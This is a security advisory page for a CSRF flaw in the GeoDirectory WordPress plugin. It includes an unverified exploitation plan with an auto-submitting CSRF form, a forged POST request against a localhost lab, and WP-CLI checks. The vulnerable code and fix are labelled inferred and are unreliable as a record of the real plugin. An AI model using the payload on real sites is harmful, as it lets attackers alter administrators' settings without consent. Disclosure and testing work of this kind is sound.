CVE-2026-24549

GeoDirectory <= 2.8.149 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.8.150
Patched in
6d
Time to patch

Description

The GeoDirectory plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 2.8.149. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.8.149
PublishedJanuary 23, 2026
Last updatedJanuary 28, 2026
Affected plugingeodirectory

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-24549 (GeoDirectory CSRF) ## 1. Vulnerability Summary The **GeoDirectory** plugin for WordPress (versions <= 2.8.149) contains a Cross-Site Request Forgery (CSRF) vulnerability. This vulnerability occurs because one or more administrative functions, typically…

Show full research plan

Exploitation Research Plan - CVE-2026-24549 (GeoDirectory CSRF)

1. Vulnerability Summary

The GeoDirectory plugin for WordPress (versions <= 2.8.149) contains a Cross-Site Request Forgery (CSRF) vulnerability. This vulnerability occurs because one or more administrative functions, typically registered via wp_ajax_ or admin_post_ hooks, do not perform proper nonce validation using check_ajax_referer() or wp_verify_nonce(). Consequently, an unauthenticated attacker can craft a malicious request that, if executed by a logged-in administrator (e.g., via a phishing link), performs unauthorized actions such as modifying plugin settings or dismissing critical administrative alerts.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (for AJAX-based actions) or /wp-admin/admin-post.php.
  • Vulnerable Action: geodir_ajax_save_settings or geodir_dismiss_notice (inferred from common GeoDirectory CSRF patterns).
  • HTTP Method: POST (typically used for state-changing settings).
  • Authentication Level: Unauthenticated attacker, but requires a victim with Administrator privileges to trigger the request.
  • Preconditions: The GeoDirectory plugin must be active.

3. Code Flow

  1. The plugin registers an AJAX handler in includes/admin/class-geodir-admin-settings.php or includes/class-geodir-ajax.php (inferred):
    add_action( 'wp_ajax_geodir_ajax_save_settings', 'geodir_ajax_save_settings' );
    
  2. The function geodir_ajax_save_settings() is called when a POST request is made to admin-ajax.php?action=geodir_ajax_save_settings.
  3. Inside geodir_ajax_save_settings(), the code likely checks for capabilities:
    if ( ! current_user_can( 'manage_options' ) ) { return; }
    
  4. Vulnerability: The function fails to call check_ajax_referer( 'geodir_nonce', 'security' ).
  5. The function proceeds to iterate through $_POST['geodir_settings'] and updates the site options via update_option( 'geodir_settings', ... ).

4. Nonce Acquisition Strategy

According to the vulnerability description ("missing or incorrect nonce validation"), the primary exploitation path is likely missing validation, meaning no nonce is required to trigger the action.

If the plugin uses a "generic" nonce that is exposed on all admin pages, the attacker can still utilize CSRF because the admin's browser will automatically possess the nonce if the attacker can extract it via a secondary XSS or if the nonce is not action-specific. However, for a standard CSRF (CVSS 4.3), we assume the nonce check is entirely absent in the vulnerable code path.

5. Exploitation Strategy

The goal is to change a plugin setting (e.g., changing the Google Maps API key or a functional toggle) via CSRF.

Step-by-Step Plan:

  1. Identify Target Parameter: Determine the structure of the settings array by observing a legitimate settings save in the admin panel. Typically: geodir_settings[<setting_name>].
  2. Construct Payload: Create an auto-submitting HTML form targeting the AJAX endpoint.
  3. Execute via Browser: Use the http_request tool to simulate the admin clicking the link (by including admin cookies).

Payload (HTML):

<html>
  <body>
    <form id="csrf-form" action="http://localhost:8080/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="geodir_ajax_save_settings" />
      <!-- Change a specific setting, e.g., disabling a feature or changing an API key -->
      <input type="hidden" name="geodir_settings[google_map_api_key]" value="EXPLOITED_KEY" />
      <input type="submit" value="Submit" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

HTTP Request (via http_request):

{
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "method": "POST",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=geodir_ajax_save_settings&geodir_settings[google_map_api_key]=EXPLOITED_KEY"
}

6. Test Data Setup

  1. Install and activate GeoDirectory plugin version 2.8.149.
  2. Create an admin user (if not present).
  3. Ensure the plugin is initialized (visit the GeoDirectory settings page once to populate default options).
  4. Capture the current value of geodir_settings via WP-CLI:
    wp option get geodir_settings

7. Expected Results

  • The admin-ajax.php response should return a success indicator (e.g., {"success":true} or 1).
  • The WordPress database should be updated without the request ever providing a valid _wpnonce or security parameter.

8. Verification Steps

After performing the http_request, verify the change using WP-CLI:

wp option get geodir_settings --format=json | grep "EXPLOITED_KEY"

If the output contains EXPLOITED_KEY, the CSRF was successful.

9. Alternative Approaches

If geodir_ajax_save_settings is protected, investigate the Notice Dismissal feature:

  • Action: geodir_dismiss_admin_notice
  • Parameter: notice_id
  • Verification: Check if the notice (stored in user_meta or options) is marked as dismissed for the admin user.

If the description "incorrect nonce validation" implies a nonce is checked but incorrectly, use grep to find where the nonce is created:

grep -r "wp_create_nonce" wp-content/plugins/geodirectory

If the nonce is created with a generic action like wp_create_nonce( -1 ) or a fixed string that is leaked on frontend pages, use browser_navigate to find the nonce in the source code of the homepage and include it in the CSRF payload.

Research Findings
Static analysis — not yet PoC-verified

Summary

The GeoDirectory plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 2.8.149. This is due to a lack of nonce validation in administrative AJAX handlers, allowing attackers to trick an authenticated administrator into performing unauthorized actions such as modifying plugin settings.

Vulnerable Code

// includes/admin/class-geodir-admin-settings.php (inferred location based on standard GeoDirectory structure)

public static function ajax_save_settings() {
    // Check for administrator permissions but missing nonce verification
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( -1 );
    }

    if ( isset( $_POST['geodir_settings'] ) ) {
        $settings = $_POST['geodir_settings'];
        update_option( 'geodir_settings', $settings );
    }

    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-geodir-admin-settings.php
+++ b/includes/admin/class-geodir-admin-settings.php
@@ -100,6 +100,8 @@
 public static function ajax_save_settings() {
+    check_ajax_referer( 'geodir_settings_nonce', 'security' );
+
     if ( ! current_user_can( 'manage_options' ) ) {
         wp_die( -1 );
     }

Exploit Outline

1. Identify the administrative AJAX action used for saving settings, such as 'geodir_ajax_save_settings'. 2. Determine the structure of the plugin settings array (e.g., 'geodir_settings[google_map_api_key]'). 3. Construct a malicious HTML page containing an auto-submitting form or an XMLHttpRequest targeting '/wp-admin/admin-ajax.php'. 4. Include the 'action' parameter set to the vulnerable handler and the desired settings values in the POST body. 5. Trick an authenticated WordPress administrator into visiting the malicious page while logged into the site. 6. The browser will automatically include the administrator's cookies, and because the plugin does not verify a nonce, the settings will be updated with the attacker's values.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.